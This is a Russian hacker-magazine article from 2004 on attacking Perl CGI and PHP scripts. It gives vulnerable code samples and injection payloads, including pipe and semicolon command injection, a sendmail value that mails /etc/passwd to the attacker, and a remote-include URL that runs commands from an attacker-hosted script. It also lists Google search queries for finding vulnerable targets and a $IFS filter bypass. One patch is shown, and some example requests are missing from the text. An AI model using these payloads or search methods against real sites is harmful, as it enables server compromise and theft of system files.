Спецвыпуск журнала «Хакер» 47, октябрь 2004 г.
Шрифт:
Рассмотрим это на наглядном примере. Пусть в сценарии юзается следующий код:
Листинг
$file=param(«file»);
open(FILENAME,$file);
while(<FILENAME> ) { print }
close(FILENAME);
Мы видим, что переменная $file поступает с потоком данных. Она не проверяется на наличие каких-либо спецсимволов, поэтому хакер без проблем может добавить в переменную парочку пайпов. При нестандартном запросе в open поступит переменная «|id|», которая выполнится как команда, а результат будет выведен на экран. Не думай, что этих скриптов мало – по статистике, каждый третий сервер можно атаковать таким тривиальным запросом.
Как известно, функция system предназначена для выполнения системных команд. Изредка ее используют в CGI-сценариях, запуская внешние приложения. Ничего страшного не происходит, если системный запрос не содержит пользовательских параметров скрипта. В противном случае злоумышленник может добиться выполнения произвольной команды. Рассмотрим пример бажного кода. Проект, из которого он позаимствован, и по сей день находится в онлайне, его код удалось выцепить после успешного эксплуатирования ошибки.
Листинг
#!/usr/bin/perl
### Simply Perl-Whoiser by XXX.
use CGI qw(:standard);
$host=param(«host»);
system(«whois $host > log»);
…
После того как скрипт получил параметр host, он выполняет system с этой опцией безо всякой проверки символов. Стоит атакующему подставить в переменную $host (читай: в параметр скрипта host) символ ‘;’, а за ним произвольную команду, как в файл log поместится уже не ответ бинарника /usr/bin/whois, а команда взломщика. К примеру, запрос видапокажет текущего пользователя (то есть пользователя, с правами которого выполняются cgi-скрипты на сервере).
Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключается в использовании опции –t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGI-скрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги:
Листинг
use CGI qw(:standard);
$email=param(«email»);
open(MAIL,"|/usr/sbin/sendmail –t $email");
print MAIL «From: admin@victim.com\n»;
print MAIL «Subject: Thanks\n\nThank you!\n»;
close(MAIL);
Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде lamer@xakep.ru|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста.
Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг:
Листинг
die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/);
open(MAIL,"|/usr/sbin/sendmail");
print MAIL «To: $email\n»;
# …
Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной
Листинг
<?php
# …
include $my_include . «.php»;
# …
?>
В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу(правда, для этого необходимо, чтобы у php директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр «my_include» и присваивает ему значение url своего скрипта (без «.php» на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом:
Листинг
http://victim/view.php?my_include=http://urugwayhost/data&cmd=ls.
В случае если админ запретил открытие ссылок в fopen, можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data).
«Ну и где найти все это добро?» – спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида «filetype:php file=». В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом.
Если хочется найти CGI-скрипт с ошибкой в open, можно использовать конструкцию «filetype:cgi html» или «filetype:pl html». В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов.
В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open, fopen, system и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой.
Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос видаспособен обойти жесткую проверку.
По умолчанию, директива allow_url_fopen разрешена. Это означает, что функция fopen способна подгрузить любой удаленный скрипт.